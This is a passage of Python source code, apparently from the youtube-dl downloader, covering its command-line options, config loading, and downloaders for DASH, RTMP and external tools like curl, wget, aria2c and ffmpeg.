        dest='retries', metavar='RETRIES', default=10,
        help='Number of retries (default is %default), or "infinite".')
    downloader.add_option(
        '--fragment-retries',
        dest='fragment_retries', metavar='RETRIES', default=10,
        help='Number of retries for a fragment (default is %default), or "infinite" (DASH only)')
    downloader.add_option(
        '--buffer-size',
        dest='buffersize', metavar='SIZE', default='1024',
        help='Size of download buffer (e.g. 1024 or 16K) (default is %default)')
    downloader.add_option(
        '--no-resize-buffer',
        action='store_true', dest='noresizebuffer', default=False,
        help='Do not automatically adjust the buffer size. By default, the buffer size is automatically resized from an initial value of SIZE.')
    downloader.add_option(
        '--test',
        action='store_true', dest='test', default=False,
        help=optparse.SUPPRESS_HELP)
    downloader.add_option(
        '--playlist-reverse',
        action='store_true',
        help='Download playlist videos in reverse order')
    downloader.add_option(
        '--xattr-set-filesize',
        dest='xattr_set_filesize', action='store_true',
        help='Set file xattribute ytdl.filesize with expected filesize (experimental)')
    downloader.add_option(
        '--hls-prefer-native',
        dest='hls_prefer_native', action='store_true', default=None,
        help='Use the native HLS downloader instead of ffmpeg')
    downloader.add_option(
        '--hls-prefer-ffmpeg',
        dest='hls_prefer_native', action='store_false', default=None,
        help='Use ffmpeg instead of the native HLS downloader')
    downloader.add_option(
        '--hls-use-mpegts',
        dest='hls_use_mpegts', action='store_true',
        help='Use the mpegts container for HLS videos, allowing to play the '
             'video while downloading (some players may not be able to play it)')
    downloader.add_option(
        '--external-downloader',
        dest='external_downloader', metavar='COMMAND',
        help='Use the specified external downloader. '
             'Currently supports %s' % ','.join(list_external_downloaders()))
    downloader.add_option(
        '--external-downloader-args',
        dest='external_downloader_args', metavar='ARGS',
        help='Give these arguments to the external downloader')

    workarounds = optparse.OptionGroup(parser, 'Workarounds')
    workarounds.add_option(
        '--encoding',
        dest='encoding', metavar='ENCODING',
        help='Force the specified encoding (experimental)')
    workarounds.add_option(
        '--no-check-certificate',
        action='store_true', dest='no_check_certificate', default=False,
        help='Suppress HTTPS certificate validation')
    workarounds.add_option(
        '--prefer-insecure',
        '--prefer-unsecure', action='store_true', dest='prefer_insecure',
        help='Use an unencrypted connection to retrieve information about the video. (Currently supported only for YouTube)')
    workarounds.add_option(
        '--user-agent',
        metavar='UA', dest='user_agent',
        help='Specify a custom user agent')
    workarounds.add_option(
        '--referer',
        metavar='URL', dest='referer', default=None,
        help='Specify a custom referer, use if the video access is restricted to one domain',
    )
    workarounds.add_option(
        '--add-header',
        metavar='FIELD:VALUE', dest='headers', action='append',
        help='Specify a custom HTTP header and its value, separated by a colon \':\'. You can use this option multiple times',
    )
    workarounds.add_option(
        '--bidi-workaround',
        dest='bidi_workaround', action='store_true',
        help='Work around terminals that lack bidirectional text support. Requires bidiv or fribidi executable in PATH')
    workarounds.add_option(
        '--sleep-interval', '--min-sleep-interval', metavar='SECONDS',
        dest='sleep_interval', type=float,
        help=(
            'Number of seconds to sleep before each download when used alone '
            'or a lower bound of a range for randomized sleep before each download '
            '(minimum possible number of seconds to sleep) when used along with '
            '--max-sleep-interval.'))
    workarounds.add_option(
        '--max-sleep-interval', metavar='SECONDS',
        dest='max_sleep_interval', type=float,
        help=(
            'Upper bound of a range for randomized sleep before each download '
            '(maximum possible number of seconds to sleep). Must only be used '
            'along with --min-sleep-interval.'))

    verbosity = optparse.OptionGroup(parser, 'Verbosity / Simulation Options')
    verbosity.add_option(
        '-q', '--quiet',
        action='store_true', dest='quiet', default=False,
        help='Activate quiet mode')
    verbosity.add_option(
        '--no-warnings',
        dest='no_warnings', action='store_true', default=False,
        help='Ignore warnings')
    verbosity.add_option(
        '-s', '--simulate',
        action='store_true', dest='simulate', default=False,
        help='Do not download the video and do not write anything to disk')
    verbosity.add_option(
        '--skip-download',
        action='store_true', dest='skip_download', default=False,
        help='Do not download the video')
    verbosity.add_option(
        '-g', '--get-url',
        action='store_true', dest='geturl', default=False,
        help='Simulate, quiet but print URL')
    verbosity.add_option(
        '-e', '--get-title',
        action='store_true', dest='gettitle', default=False,
        help='Simulate, quiet but print title')
    verbosity.add_option(
        '--get-id',
        action='store_true', dest='getid', default=False,
        help='Simulate, quiet but print id')
    verbosity.add_option(
        '--get-thumbnail',
        action='store_true', dest='getthumbnail', default=False,
        help='Simulate, quiet but print thumbnail URL')
    verbosity.add_option(
        '--get-description',
        action='store_true', dest='getdescription', default=False,
        help='Simulate, quiet but print video description')
    verbosity.add_option(
        '--get-duration',
        action='store_true', dest='getduration', default=False,
        help='Simulate, quiet but print video length')
    verbosity.add_option(
        '--get-filename',
        action='store_true', dest='getfilename', default=False,
        help='Simulate, quiet but print output filename')
    verbosity.add_option(
        '--get-format',
        action='store_true', dest='getformat', default=False,
        help='Simulate, quiet but print output format')
    verbosity.add_option(
        '-j', '--dump-json',
        action='store_true', dest='dumpjson', default=False,
        help='Simulate, quiet but print JSON information. See --output for a description of available keys.')
    verbosity.add_option(
        '-J', '--dump-single-json',
        action='store_true', dest='dump_single_json', default=False,
        help='Simulate, quiet but print JSON information for each command-line argument. If the URL refers to a playlist, dump the whole playlist information in a single line.')
    verbosity.add_option(
        '--print-json',
        action='store_true', dest='print_json', default=False,
        help='Be quiet and print the video information as JSON (video is still being downloaded).',
    )
    verbosity.add_option(
        '--newline',
        action='store_true', dest='progress_with_newline', default=False,
        help='Output progress bar as new lines')
    verbosity.add_option(
        '--no-progress',
        action='store_true', dest='noprogress', default=False,
        help='Do not print progress bar')
    verbosity.add_option(
        '--console-title',
        action='store_true', dest='consoletitle', default=False,
        help='Display progress in console titlebar')
    verbosity.add_option(
        '-v', '--verbose',
        action='store_true', dest='verbose', default=False,
        help='Print various debugging information')
    verbosity.add_option(
        '--dump-pages', '--dump-intermediate-pages',
        action='store_true', dest='dump_intermediate_pages', default=False,
        help='Print downloaded pages encoded using base64 to debug problems (very verbose)')
    verbosity.add_option(
        '--write-pages',
        action='store_true', dest='write_pages', default=False,
        help='Write downloaded intermediary pages to files in the current directory to debug problems')
    verbosity.add_option(
        '--youtube-print-sig-code',
        action='store_true', dest='youtube_print_sig_code', default=False,
        help=optparse.SUPPRESS_HELP)
    verbosity.add_option(
        '--print-traffic', '--dump-headers',
        dest='debug_printtraffic', action='store_true', default=False,
        help='Display sent and read HTTP traffic')
    verbosity.add_option(
        '-C', '--call-home',
        dest='call_home', action='store_true', default=False,
        help='Contact the youtube-dl server for debugging')
    verbosity.add_option(
        '--no-call-home',
        dest='call_home', action='store_false', default=False,
        help='Do NOT contact the youtube-dl server for debugging')

    filesystem = optparse.OptionGroup(parser, 'Filesystem Options')
    filesystem.add_option(
        '-a', '--batch-file',
        dest='batchfile', metavar='FILE',
        help='File containing URLs to download (\'-\' for stdin)')
    filesystem.add_option(
        '--id', default=False,
        action='store_true', dest='useid', help='Use only video ID in file name')
    filesystem.add_option(
        '-o', '--output',
        dest='outtmpl', metavar='TEMPLATE',
        help=('Output filename template, see the "OUTPUT TEMPLATE" for all the info'))
    filesystem.add_option(
        '--autonumber-size',
        dest='autonumber_size', metavar='NUMBER',
        help='Specify the number of digits in %(autonumber)s when it is present in output filename template or --auto-number option is given')
    filesystem.add_option(
        '--restrict-filenames',
        action='store_true', dest='restrictfilenames', default=False,
        help='Restrict filenames to only ASCII characters, and avoid "&" and spaces in filenames')
    filesystem.add_option(
        '-A', '--auto-number',
        action='store_true', dest='autonumber', default=False,
        help='[deprecated; use -o "%(autonumber)s-%(title)s.%(ext)s" ] Number downloaded files starting from 00000')
    filesystem.add_option(
        '-t', '--title',
        action='store_true', dest='usetitle', default=False,
        help='[deprecated] Use title in file name (default)')
    filesystem.add_option(
        '-l', '--literal', default=False,
        action='store_true', dest='usetitle',
        help='[deprecated] Alias of --title')
    filesystem.add_option(
        '-w', '--no-overwrites',
        action='store_true', dest='nooverwrites', default=False,
        help='Do not overwrite files')
    filesystem.add_option(
        '-c', '--continue',
        action='store_true', dest='continue_dl', default=True,
        help='Force resume of partially downloaded files. By default, youtube-dl will resume downloads if possible.')
    filesystem.add_option(
        '--no-continue',
        action='store_false', dest='continue_dl',
        help='Do not resume partially downloaded files (restart from beginning)')
    filesystem.add_option(
        '--no-part',
        action='store_true', dest='nopart', default=False,
        help='Do not use .part files - write directly into output file')
    filesystem.add_option(
        '--no-mtime',
        action='store_false', dest='updatetime', default=True,
        help='Do not use the Last-modified header to set the file modification time')
    filesystem.add_option(
        '--write-description',
        action='store_true', dest='writedescription', default=False,
        help='Write video description to a .description file')
    filesystem.add_option(
        '--write-info-json',
        action='store_true', dest='writeinfojson', default=False,
        help='Write video metadata to a .info.json file')
    filesystem.add_option(
        '--write-annotations',
        action='store_true', dest='writeannotations', default=False,
        help='Write video annotations to a .annotations.xml file')
    filesystem.add_option(
        '--load-info-json', '--load-info',
        dest='load_info_filename', metavar='FILE',
        help='JSON file containing the video information (created with the "--write-info-json" option)')
    filesystem.add_option(
        '--cookies',
        dest='cookiefile', metavar='FILE',
        help='File to read cookies from and dump cookie jar in')
    filesystem.add_option(
        '--cache-dir', dest='cachedir', default=None, metavar='DIR',
        help='Location in the filesystem where youtube-dl can store some downloaded information permanently. By default $XDG_CACHE_HOME/youtube-dl or ~/.cache/youtube-dl . At the moment, only YouTube player files (for videos with obfuscated signatures) are cached, but that may change.')
    filesystem.add_option(
        '--no-cache-dir', action='store_const', const=False, dest='cachedir',
        help='Disable filesystem caching')
    filesystem.add_option(
        '--rm-cache-dir',
        action='store_true', dest='rm_cachedir',
        help='Delete all filesystem cache files')

    thumbnail = optparse.OptionGroup(parser, 'Thumbnail images')
    thumbnail.add_option(
        '--write-thumbnail',
        action='store_true', dest='writethumbnail', default=False,
        help='Write thumbnail image to disk')
    thumbnail.add_option(
        '--write-all-thumbnails',
        action='store_true', dest='write_all_thumbnails', default=False,
        help='Write all thumbnail image formats to disk')
    thumbnail.add_option(
        '--list-thumbnails',
        action='store_true', dest='list_thumbnails', default=False,
        help='Simulate and list all available thumbnail formats')

    postproc = optparse.OptionGroup(parser, 'Post-processing Options')
    postproc.add_option(
        '-x', '--extract-audio',
        action='store_true', dest='extractaudio', default=False,
        help='Convert video files to audio-only files (requires ffmpeg or avconv and ffprobe or avprobe)')
    postproc.add_option(
        '--audio-format', metavar='FORMAT', dest='audioformat', default='best',
        help='Specify audio format: "best", "aac", "vorbis", "mp3", "m4a", "opus", or "wav"; "%default" by default')
    postproc.add_option(
        '--audio-quality', metavar='QUALITY',
        dest='audioquality', default='5',
        help='Specify ffmpeg/avconv audio quality, insert a value between 0 (better) and 9 (worse) for VBR or a specific bitrate like 128K (default %default)')
    postproc.add_option(
        '--recode-video',
        metavar='FORMAT', dest='recodevideo', default=None,
        help='Encode the video to another format if necessary (currently supported: mp4|flv|ogg|webm|mkv|avi)')
    postproc.add_option(
        '--postprocessor-args',
        dest='postprocessor_args', metavar='ARGS',
        help='Give these arguments to the postprocessor')
    postproc.add_option(
        '-k', '--keep-video',
        action='store_true', dest='keepvideo', default=False,
        help='Keep the video file on disk after the post-processing; the video is erased by default')
    postproc.add_option(
        '--no-post-overwrites',
        action='store_true', dest='nopostoverwrites', default=False,
        help='Do not overwrite post-processed files; the post-processed files are overwritten by default')
    postproc.add_option(
        '--embed-subs',
        action='store_true', dest='embedsubtitles', default=False,
        help='Embed subtitles in the video (only for mp4, webm and mkv videos)')
    postproc.add_option(
        '--embed-thumbnail',
        action='store_true', dest='embedthumbnail', default=False,
        help='Embed thumbnail in the audio as cover art')
    postproc.add_option(
        '--add-metadata',
        action='store_true', dest='addmetadata', default=False,
        help='Write metadata to the video file')
    postproc.add_option(
        '--metadata-from-title',
        metavar='FORMAT', dest='metafromtitle',
        help='Parse additional metadata like song title / artist from the video title. '
             'The format syntax is the same as --output, '
             'the parsed parameters replace existing values. '
             'Additional templates: %(album)s, %(artist)s. '
             'Example: --metadata-from-title "%(artist)s - %(title)s" matches a title like '
             '"Coldplay - Paradise"')
    postproc.add_option(
        '--xattrs',
        action='store_true', dest='xattrs', default=False,
        help='Write metadata to the video file\'s xattrs (using dublin core and xdg standards)')
    postproc.add_option(
        '--fixup',
        metavar='POLICY', dest='fixup', default='detect_or_warn',
        help='Automatically correct known faults of the file. '
             'One of never (do nothing), warn (only emit a warning), '
             'detect_or_warn (the default; fix file if we can, warn otherwise)')
    postproc.add_option(
        '--prefer-avconv',
        action='store_false', dest='prefer_ffmpeg',
        help='Prefer avconv over ffmpeg for running the postprocessors (default)')
    postproc.add_option(
        '--prefer-ffmpeg',
        action='store_true', dest='prefer_ffmpeg',
        help='Prefer ffmpeg over avconv for running the postprocessors')
    postproc.add_option(
        '--ffmpeg-location', '--avconv-location', metavar='PATH',
        dest='ffmpeg_location',
        help='Location of the ffmpeg/avconv binary; either the path to the binary or its containing directory.')
    postproc.add_option(
        '--exec',
        metavar='CMD', dest='exec_cmd',
        help='Execute a command on the file after downloading, similar to find\'s -exec syntax. Example: --exec \'adb push {} /sdcard/Music/ && rm {}\'')
    postproc.add_option(
        '--convert-subs', '--convert-subtitles',
        metavar='FORMAT', dest='convertsubtitles', default=None,
        help='Convert the subtitles to other format (currently supported: srt|ass|vtt)')

    parser.add_option_group(general)
    parser.add_option_group(network)
    parser.add_option_group(selection)
    parser.add_option_group(downloader)
    parser.add_option_group(filesystem)
    parser.add_option_group(thumbnail)
    parser.add_option_group(verbosity)
    parser.add_option_group(workarounds)
    parser.add_option_group(video_format)
    parser.add_option_group(subtitles)
    parser.add_option_group(authentication)
    parser.add_option_group(postproc)

    if overrideArguments is not None:
        opts, args = parser.parse_args(overrideArguments)
        if opts.verbose:
            write_string('[debug] Override config: ' + repr(overrideArguments) + '\n')
    else:
        def compat_conf(conf):
            if sys.version_info < (3,):
                return [a.decode(preferredencoding(), 'replace') for a in conf]
            return conf

        command_line_conf = compat_conf(sys.argv[1:])

        if '--ignore-config' in command_line_conf:
            system_conf = []
            user_conf = []
        else:
            system_conf = _readOptions('/etc/youtube-dl.conf')
            if '--ignore-config' in system_conf:
                user_conf = []
            else:
                user_conf = _readUserConf()
        argv = system_conf + user_conf + command_line_conf

        opts, args = parser.parse_args(argv)
        if opts.verbose:
            write_string('[debug] System config: ' + repr(_hide_login_info(system_conf)) + '\n')
            write_string('[debug] User config: ' + repr(_hide_login_info(user_conf)) + '\n')
            write_string('[debug] Command-line args: ' + repr(_hide_login_info(command_line_conf)) + '\n')

    return parser, opts, args






from __future__ import unicode_literals

import os
import re

from .fragment import FragmentFD
from ..compat import compat_urllib_error
from ..utils import (
    sanitize_open,
    encodeFilename,
)


class DashSegmentsFD(FragmentFD):
    """
    Download segments in a DASH manifest
    """

    FD_NAME = 'dashsegments'

    def real_download(self, filename, info_dict):
        base_url = info_dict['url']
        segment_urls = [info_dict['segment_urls'][0]] if self.params.get('test', False) else info_dict['segment_urls']
        initialization_url = info_dict.get('initialization_url')

        ctx = {
            'filename': filename,
            'total_frags': len(segment_urls) + (1 if initialization_url else 0),
        }

        self._prepare_and_start_frag_download(ctx)

        def combine_url(base_url, target_url):
            if re.match(r'^https?://', target_url):
                return target_url
            return '%s%s%s' % (base_url, '' if base_url.endswith('/') else '/', target_url)

        segments_filenames = []

        fragment_retries = self.params.get('fragment_retries', 0)

        def append_url_to_file(target_url, tmp_filename, segment_name):
            target_filename = '%s-%s' % (tmp_filename, segment_name)
            count = 0
            while count <= fragment_retries:
                try:
                    success = ctx['dl'].download(target_filename, {'url': combine_url(base_url, target_url)})
                    if not success:
                        return False
                    down, target_sanitized = sanitize_open(target_filename, 'rb')
                    ctx['dest_stream'].write(down.read())
                    down.close()
                    segments_filenames.append(target_sanitized)
                    break
                except (compat_urllib_error.HTTPError, ) as err:
                    # YouTube may often return 404 HTTP error for a fragment causing the
                    # whole download to fail. However if the same fragment is immediately
                    # retried with the same request data this usually succeeds (1-2 attemps
                    # is usually enough) thus allowing to download the whole file successfully.
                    # So, we will retry all fragments that fail with 404 HTTP error for now.
                    if err.code != 404:
                        raise
                    # Retry fragment
                    count += 1
                    if count <= fragment_retries:
                        self.report_retry_fragment(segment_name, count, fragment_retries)
            if count > fragment_retries:
                self.report_error('giving up after %s fragment retries' % fragment_retries)
                return False

        if initialization_url:
            append_url_to_file(initialization_url, ctx['tmpfilename'], 'Init')
        for i, segment_url in enumerate(segment_urls):
            append_url_to_file(segment_url, ctx['tmpfilename'], 'Seg%d' % i)

        self._finish_frag_download(ctx)

        for segment_file in segments_filenames:
            os.remove(encodeFilename(segment_file))

        return True






from __future__ import unicode_literals

import os
import re
import subprocess
import time

from .common import FileDownloader
from ..compat import compat_str
from ..utils import (
    check_executable,
    encodeFilename,
    encodeArgument,
    get_exe_version,
)


def rtmpdump_version():
    return get_exe_version(
        'rtmpdump', ['--help'], r'(?i)RTMPDump\s*v?([0-9a-zA-Z._-]+)')


class RtmpFD(FileDownloader):
    def real_download(self, filename, info_dict):
        def run_rtmpdump(args):
            start = time.time()
            resume_percent = None
            resume_downloaded_data_len = None
            proc = subprocess.Popen(args, stderr=subprocess.PIPE)
            cursor_in_new_line = True
            proc_stderr_closed = False
            while not proc_stderr_closed:
                # read line from stderr
                line = ''
                while True:
                    char = proc.stderr.read(1)
                    if not char:
                        proc_stderr_closed = True
                        break
                    if char in [b'\r', b'\n']:
                        break
                    line += char.decode('ascii', 'replace')
                if not line:
                    # proc_stderr_closed is True
                    continue
                mobj = re.search(r'([0-9]+\.[0-9]{3}) kB / [0-9]+\.[0-9]{2} sec \(([0-9]{1,2}\.[0-9])%\)', line)
                if mobj:
                    downloaded_data_len = int(float(mobj.group(1)) * 1024)
                    percent = float(mobj.group(2))
                    if not resume_percent:
                        resume_percent = percent
                        resume_downloaded_data_len = downloaded_data_len
                    time_now = time.time()
                    eta = self.calc_eta(start, time_now, 100 - resume_percent, percent - resume_percent)
                    speed = self.calc_speed(start, time_now, downloaded_data_len - resume_downloaded_data_len)
                    data_len = None
                    if percent > 0:
                        data_len = int(downloaded_data_len * 100 / percent)
                    self._hook_progress({
                        'status': 'downloading',
                        'downloaded_bytes': downloaded_data_len,
                        'total_bytes_estimate': data_len,
                        'tmpfilename': tmpfilename,
                        'filename': filename,
                        'eta': eta,
                        'elapsed': time_now - start,
                        'speed': speed,
                    })
                    cursor_in_new_line = False
                else:
                    # no percent for live streams
                    mobj = re.search(r'([0-9]+\.[0-9]{3}) kB / [0-9]+\.[0-9]{2} sec', line)
                    if mobj:
                        downloaded_data_len = int(float(mobj.group(1)) * 1024)
                        time_now = time.time()
                        speed = self.calc_speed(start, time_now, downloaded_data_len)
                        self._hook_progress({
                            'downloaded_bytes': downloaded_data_len,
                            'tmpfilename': tmpfilename,
                            'filename': filename,
                            'status': 'downloading',
                            'elapsed': time_now - start,
                            'speed': speed,
                        })
                        cursor_in_new_line = False
                    elif self.params.get('verbose', False):
                        if not cursor_in_new_line:
                            self.to_screen('')
                        cursor_in_new_line = True
                        self.to_screen('[rtmpdump] ' + line)
            proc.wait()
            if not cursor_in_new_line:
                self.to_screen('')
            return proc.returncode

        url = info_dict['url']
        player_url = info_dict.get('player_url')
        page_url = info_dict.get('page_url')
        app = info_dict.get('app')
        play_path = info_dict.get('play_path')
        tc_url = info_dict.get('tc_url')
        flash_version = info_dict.get('flash_version')
        live = info_dict.get('rtmp_live', False)
        conn = info_dict.get('rtmp_conn')
        protocol = info_dict.get('rtmp_protocol')
        real_time = info_dict.get('rtmp_real_time', False)
        no_resume = info_dict.get('no_resume', False)
        continue_dl = self.params.get('continuedl', True)

        self.report_destination(filename)
        tmpfilename = self.temp_name(filename)
        test = self.params.get('test', False)

        # Check for rtmpdump first
        if not check_executable('rtmpdump', ['-h']):
            self.report_error('RTMP download detected but "rtmpdump" could not be run. Please install it.')
            return False

        # Download using rtmpdump. rtmpdump returns exit code 2 when
        # the connection was interrupted and resuming appears to be
        # possible. This is part of rtmpdump's normal usage, AFAIK.
        basic_args = [
            'rtmpdump', '--verbose', '-r', url,
            '-o', tmpfilename]
        if player_url is not None:
            basic_args += ['--swfVfy', player_url]
        if page_url is not None:
            basic_args += ['--pageUrl', page_url]
        if app is not None:
            basic_args += ['--app', app]
        if play_path is not None:
            basic_args += ['--playpath', play_path]
        if tc_url is not None:
            basic_args += ['--tcUrl', tc_url]
        if test:
            basic_args += ['--stop', '1']
        if flash_version is not None:
            basic_args += ['--flashVer', flash_version]
        if live:
            basic_args += ['--live']
        if isinstance(conn, list):
            for entry in conn:
                basic_args += ['--conn', entry]
        elif isinstance(conn, compat_str):
            basic_args += ['--conn', conn]
        if protocol is not None:
            basic_args += ['--protocol', protocol]
        if real_time:
            basic_args += ['--realtime']

        args = basic_args
        if not no_resume and continue_dl and not live:
            args += ['--resume']
        if not live and continue_dl:
            args += ['--skip', '1']

        args = [encodeArgument(a) for a in args]

        self._debug_cmd(args, exe='rtmpdump')

        RD_SUCCESS = 0
        RD_FAILED = 1
        RD_INCOMPLETE = 2
        RD_NO_CONNECT = 3

        retval = run_rtmpdump(args)

        if retval == RD_NO_CONNECT:
            self.report_error('[rtmpdump] Could not connect to RTMP server.')
            return False

        while (retval == RD_INCOMPLETE or retval == RD_FAILED) and not test and not live:
            prevsize = os.path.getsize(encodeFilename(tmpfilename))
            self.to_screen('[rtmpdump] %s bytes' % prevsize)
            time.sleep(5.0)  # This seems to be needed
            args = basic_args + ['--resume']
            if retval == RD_FAILED:
                args += ['--skip', '1']
            args = [encodeArgument(a) for a in args]
            retval = run_rtmpdump(args)
            cursize = os.path.getsize(encodeFilename(tmpfilename))
            if prevsize == cursize and retval == RD_FAILED:
                break
            # Some rtmp streams seem abort after ~ 99.8%. Don't complain for those
            if prevsize == cursize and retval == RD_INCOMPLETE and cursize > 1024:
                self.to_screen('[rtmpdump] Could not download the whole video. This can happen for some advertisements.')
                retval = RD_SUCCESS
                break
        if retval == RD_SUCCESS or (test and retval == RD_INCOMPLETE):
            fsize = os.path.getsize(encodeFilename(tmpfilename))
            self.to_screen('[rtmpdump] %s bytes' % fsize)
            self.try_rename(tmpfilename, filename)
            self._hook_progress({
                'downloaded_bytes': fsize,
                'total_bytes': fsize,
                'filename': filename,
                'status': 'finished',
            })
            return True
        else:
            self.to_stderr('\n')
            self.report_error('rtmpdump exited with code %d' % retval)
            return False






from __future__ import unicode_literals

from .common import FileDownloader
from .f4m import F4mFD
from .hls import HlsFD
from .http import HttpFD
from .rtmp import RtmpFD
from .dash import DashSegmentsFD
from .rtsp import RtspFD
from .external import (
    get_external_downloader,
    FFmpegFD,
)

from ..utils import (
    determine_protocol,
)

PROTOCOL_MAP = {
    'rtmp': RtmpFD,
    'm3u8_native': HlsFD,
    'm3u8': FFmpegFD,
    'mms': RtspFD,
    'rtsp': RtspFD,
    'f4m': F4mFD,
    'http_dash_segments': DashSegmentsFD,
}


def get_suitable_downloader(info_dict, params={}):
    """Get the downloader class that can handle the info dict."""
    protocol = determine_protocol(info_dict)
    info_dict['protocol'] = protocol

    # if (info_dict.get('start_time') or info_dict.get('end_time')) and not info_dict.get('requested_formats') and FFmpegFD.can_download(info_dict):
    #     return FFmpegFD

    external_downloader = params.get('external_downloader')
    if external_downloader is not None:
        ed = get_external_downloader(external_downloader)
        if ed.can_download(info_dict):
            return ed

    if protocol == 'm3u8' and params.get('hls_prefer_native') is True:
        return HlsFD

    if protocol == 'm3u8_native' and params.get('hls_prefer_native') is False:
        return FFmpegFD

    return PROTOCOL_MAP.get(protocol, HttpFD)


__all__ = [
    'get_suitable_downloader',
    'FileDownloader',
]






from __future__ import unicode_literals

import os.path
import subprocess
import sys
import re

from .common import FileDownloader
from ..compat import compat_setenv
from ..postprocessor.ffmpeg import FFmpegPostProcessor, EXT_TO_OUT_FORMATS
from ..utils import (
    cli_option,
    cli_valueless_option,
    cli_bool_option,
    cli_configuration_args,
    encodeFilename,
    encodeArgument,
    handle_youtubedl_headers,
    check_executable,
)


class ExternalFD(FileDownloader):
    def real_download(self, filename, info_dict):
        self.report_destination(filename)
        tmpfilename = self.temp_name(filename)

        retval = self._call_downloader(tmpfilename, info_dict)
        if retval == 0:
            fsize = os.path.getsize(encodeFilename(tmpfilename))
            self.to_screen('\r[%s] Downloaded %s bytes' % (self.get_basename(), fsize))
            self.try_rename(tmpfilename, filename)
            self._hook_progress({
                'downloaded_bytes': fsize,
                'total_bytes': fsize,
                'filename': filename,
                'status': 'finished',
            })
            return True
        else:
            self.to_stderr('\n')
            self.report_error('%s exited with code %d' % (
                self.get_basename(), retval))
            return False

    @classmethod
    def get_basename(cls):
        return cls.__name__[:-2].lower()

    @property
    def exe(self):
        return self.params.get('external_downloader')

    @classmethod
    def available(cls):
        return check_executable(cls.get_basename(), [cls.AVAILABLE_OPT])

    @classmethod
    def supports(cls, info_dict):
        return info_dict['protocol'] in ('http', 'https', 'ftp', 'ftps')

    @classmethod
    def can_download(cls, info_dict):
        return cls.available() and cls.supports(info_dict)

    def _option(self, command_option, param):
        return cli_option(self.params, command_option, param)

    def _bool_option(self, command_option, param, true_value='true', false_value='false', separator=None):
        return cli_bool_option(self.params, command_option, param, true_value, false_value, separator)

    def _valueless_option(self, command_option, param, expected_value=True):
        return cli_valueless_option(self.params, command_option, param, expected_value)

    def _configuration_args(self, default=[]):
        return cli_configuration_args(self.params, 'external_downloader_args', default)

    def _call_downloader(self, tmpfilename, info_dict):
        """ Either overwrite this or implement _make_cmd """
        cmd = [encodeArgument(a) for a in self._make_cmd(tmpfilename, info_dict)]

        self._debug_cmd(cmd)

        p = subprocess.Popen(
            cmd, stderr=subprocess.PIPE)
        _, stderr = p.communicate()
        if p.returncode != 0:
            self.to_stderr(stderr.decode('utf-8', 'replace'))
        return p.returncode


class CurlFD(ExternalFD):
    AVAILABLE_OPT = '-V'

    def _make_cmd(self, tmpfilename, info_dict):
        cmd = [self.exe, '--location', '-o', tmpfilename]
        for key, val in info_dict['http_headers'].items():
            cmd += ['--header', '%s: %s' % (key, val)]
        cmd += self._bool_option('--continue-at', 'continuedl', '-', '0')
        cmd += self._valueless_option('--silent', 'noprogress')
        cmd += self._valueless_option('--verbose', 'verbose')
        cmd += self._option('--limit-rate', 'ratelimit')
        cmd += self._option('--retry', 'retries')
        cmd += self._option('--max-filesize', 'max_filesize')
        cmd += self._option('--interface', 'source_address')
        cmd += self._option('--proxy', 'proxy')
        cmd += self._valueless_option('--insecure', 'nocheckcertificate')
        cmd += self._configuration_args()
        cmd += ['--', info_dict['url']]
        return cmd

    def _call_downloader(self, tmpfilename, info_dict):
        cmd = [encodeArgument(a) for a in self._make_cmd(tmpfilename, info_dict)]

        self._debug_cmd(cmd)

        # curl writes the progress to stderr so don't capture it.
        p = subprocess.Popen(cmd)
        p.communicate()
        return p.returncode


class AxelFD(ExternalFD):
    AVAILABLE_OPT = '-V'

    def _make_cmd(self, tmpfilename, info_dict):
        cmd = [self.exe, '-o', tmpfilename]
        for key, val in info_dict['http_headers'].items():
            cmd += ['-H', '%s: %s' % (key, val)]
        cmd += self._configuration_args()
        cmd += ['--', info_dict['url']]
        return cmd


class WgetFD(ExternalFD):
    AVAILABLE_OPT = '--version'

    def _make_cmd(self, tmpfilename, info_dict):
        cmd = [self.exe, '-O', tmpfilename, '-nv', '--no-cookies']
        for key, val in info_dict['http_headers'].items():
            cmd += ['--header', '%s: %s' % (key, val)]
        cmd += self._option('--bind-address', 'source_address')
        cmd += self._option('--proxy', 'proxy')
        cmd += self._valueless_option('--no-check-certificate', 'nocheckcertificate')
        cmd += self._configuration_args()
        cmd += ['--', info_dict['url']]
        return cmd


class Aria2cFD(ExternalFD):
    AVAILABLE_OPT = '-v'

    def _make_cmd(self, tmpfilename, info_dict):
        cmd = [self.exe, '-c']
        cmd += self._configuration_args([
            '--min-split-size', '1M', '--max-connection-per-server', '4'])
        dn = os.path.dirname(tmpfilename)
        if dn:
            cmd += ['--dir', dn]
        cmd += ['--out', os.path.basename(tmpfilename)]
        for key, val in info_dict['http_headers'].items():
            cmd += ['--header', '%s: %s' % (key, val)]
        cmd += self._option('--interface', 'source_address')
        cmd += self._option('--all-proxy', 'proxy')
        cmd += self._bool_option('--check-certificate', 'nocheckcertificate', 'false', 'true', '=')
        cmd += ['--', info_dict['url']]
        return cmd


class HttpieFD(ExternalFD):
    @classmethod
    def available(cls):
        return check_executable('http', ['--version'])

    def _make_cmd(self, tmpfilename, info_dict):
        cmd = ['http', '--download', '--output', tmpfilename, info_dict['url']]
        for key, val in info_dict['http_headers'].items():
            cmd += ['%s:%s' % (key, val)]
        return cmd


class FFmpegFD(ExternalFD):
    @classmethod
    def supports(cls, info_dict):
        return info_dict['protocol'] in ('http', 'https', 'ftp', 'ftps', 'm3u8', 'rtsp', 'rtmp', 'mms')

    @classmethod
    def available(cls):
        return FFmpegPostProcessor().available

    def _call_downloader(self, tmpfilename, info_dict):
        url = info_dict['url']
        ffpp = FFmpegPostProcessor(downloader=self)
        if not ffpp.available:
            self.report_error('m3u8 download detected but ffmpeg or avconv could not be found. Please install one.')
            return False
        ffpp.check_version()

        args = [ffpp.executable, '-y']

        args += self._configuration_args()

        # start_time = info_dict.get('start_time') or 0
        # if start_time:
        #     args += ['-ss', compat_str(start_time)]
        # end_time = info_dict.get('end_time')
        # if end_time:
        #     args += ['-t', compat_str(end_time - start_time)]

        if info_dict['http_headers'] and re.match(r'^https?://', url):
            # Trailing \r\n after each HTTP header is important to prevent warning from ffmpeg/avconv:
            # [http @ 00000000003d2fa0] No trailing CRLF found in HTTP header.
            headers = handle_youtubedl_headers(info_dict['http_headers'])
            args += [
                '-headers',
                ''.join('%s: %s\r\n' % (key, val) for key, val in headers.items())]

        env = None
        proxy = self.params.get('proxy')
        if proxy:
            if not re.match(r'^[\da-zA-Z]+://', proxy):
                proxy = 'http://%s' % proxy
            # Since December 2015 ffmpeg supports -http_proxy option (see
